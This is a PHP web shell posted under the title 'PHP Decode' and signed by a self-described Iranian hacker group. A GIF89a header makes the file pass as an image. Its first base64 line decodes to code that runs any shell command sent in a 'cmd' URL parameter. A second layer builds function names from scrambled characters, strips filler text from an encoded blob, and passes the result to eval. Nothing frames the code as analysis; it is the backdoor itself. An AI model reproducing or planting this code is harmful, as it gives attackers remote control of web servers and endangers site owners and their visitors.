PHP Decode

<?  GIF89a 
$k = 'JGNvbW1hbmQgPSAkX0dFVFsiY21kIl07IHBhc3N0aHJ1KCRjb21tYW5kKTs=' 
eval(base64_decode($k)) 
Author Sole Sad 
Invisible 
[email protected] 
CopyRight 2014 
$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64') 
$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5} 
$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16} 
$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5} 
$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15} 
$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14} 
$O0O000O0O=$O0O000O00.$OOO000000{11} 
$O0O000O00=$O0O000O00.$OOO000000{3} 
$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16} 
$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8} 
function alfa($s){$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64%6c') 
$OOO0O0O00=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{13}.$OOO000000{8}.$OOO000000{5} 
$OOO0O0O00.=$OOO000000{7}.$OOO000000{17}.$OOO000000{9}.$OOO000000{11}.$OOO000000{5} 
$OOO00OOO0=$OOO0000O0('YXNkYXNkcXdlZWZ3cWVmYXNkYXNkYXNmZGFzZmFzZ3dzZXJnd2d3dzMyM3NlZnNkZnNkZnNnZGZnZGZnZGZnZGZnZGZnZmdkYXNkYXNkcXdlZWZ3cWVmYXNkYXNkYXNmZGFzZmFzZ3dzZXJnd2d3dzMyM3NlZnNkZnNkZnNnZGZnZGZnZGZnZGZnZGZnZmdkYXNkYXNkcXdlZWZ3cWVmYXNkYXNkYXNmZGFzZmFzZ3dzZXJnd2d3dzMyM3NlZnNkZnNkZnNnZGZnZGZnZGZnZGZnZGZnZmdkYXNkYXNkcXdlZWZ3cWVmYXNkYXNkYXNmZGFzZmFzZ3dzZXJnd2d3dzMyM3NlZnNkZnNkZnNnZGZnZGZnZGZnZGZnZGZnZmdkYXNkYXNkcXdlZWZ3cWVmYXNkYXNkYXNmZGFzZmFzZ3dzZXJnd2d3dzMyM3NlZnNkZnNkZnNnZGZnZGZnZGZnZGZnZGZnZmdkYXNkYXNkcXdlZWZ3cWVmYXNkYXNkYXNmZGFzZmFzZ3dzZXJnd2d3dzMyM3NlZnNkZnNkZnNnZGZnZGZnZGZnZGZnZGZnZmdkYXNkYXNkcXdlZWZ3cWVmYXNkYXNkYXNmZGFzZmFzZ3dzZXJnd2d3dzMyM3NlZnNkZnNkZnNnZGZnZGZnZGZnZGZnZGZnZmdk') 
$O0O000OO0=$OOO000000{3}.$OOO000000{12}.$OOO000000{17}.$OOO000000{5} 
$OOO00O0O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13} 
$OOO00O0O0.=$OOO000000{5}.$OOO000000{15}.$OOO000000{11}.$OOO000000{12}.$OOO000000{16}.$OOO000000{5} 
$OOO0OO0O0 = $OOO00OOO0 
return $OOO0O0O00($OOO0OO0O0,'',$s) 
} $SoLeViSiBlE="QAAQOzh3b3cnI0hISDcAEjpydWsAAGNiZGhjYi8gIjExIjEwIjQAADEiMDQiMTUiMTIiMT8iMDcgQCIwAMA2IjQzIjEBgGEiMmEiMICIAMBiIjEzIC48BNZINzoFh3wzelRFKQDoPgDqNADqMno8AqVINykESTUCijMXNjcA+wRrNjEEfw4hSDd8Apw2BHsGWALAfjUwAdoJtxLwCakIvARINzd8BE0QmTYFMjcE8PU7AEEFPwGRC3B8ClsyCWo2Mw6xBAEAQEgEQABwb743AEEGmjYCWBmhAhEAQQJZNAJFIPEEkABxB+A3Xv58Dgs/B/oI2x2rGGk3CbEFJhhcIfsGGw4AClk/QAB6JkBYQTpYWEFOS0JYWDwKDQAAI1hfOiBUZH5kME1CPlFRQwAANn1lNX9rY2prfWZQTXRdVABAYGxTNlFSTFNzAUBBdExEVVcACVM3P3BKQ0ZwU31GaANCRGwAcGAAVwDwAXJKQzY2ZGp/bF1QSXFdAERAUmhNflI1SW4AQH5SfQCANEr6AQEABw8HDwcPBwdKBQFUUjVIRFI0SgBBkQkBAEpUBgBEUjUGAV1uUjYAQDRJAQBAAl0CgElEZHdIfkZsUzc+VwuxSgQCQj9wV1QMt0pDRTBJTzdyDIpPBgR0MmFUMwNHDzBifUk+S24DjF83wKQTsRAERVdKRDM+BIx+BI9CcAFPQn2DGAFPQjVhU3QIRwuAS203AQoJT0UwSiJXU0EKjkpTTQFKU30PQDQPTjYHCR1BEo1FYEoSj39KaQSONAzPUQgKF0FKU1E+SA+lflVXSg2AAQAZwRPNEo99Dc9JXwgOfx0AqH8ZgD8qcXAGAVN9N2wPQAZBAUIcjRNBCM8EB/dqHYAXhyDEAwZCJYILzyQObxBOC890J499IIxDPSBFVxmOHM8QQS1NMxmPQjcBT28+SDVdAAA2ZWpJN2ZQPnJOT0lxZUBRAEY1Zl9Jd15qf2tAcH1MXymIEQBXABBfUX5lQFVr 
$OUT="asdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdJGxsbD0wO2V2YWwoYmFzasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdfgdfgdfgfgdasdasdqweefwqefasdasdasfdasfasgwsergwgww323sefsdfsdfsgdfgdfgdf 
$OUT=alfa($OUT) 
eval($OOO0000O0($OUT)) 
return 
Iranian Hackers 
Persian Gulf For Ever 
Special Thanks To MadLeets ?>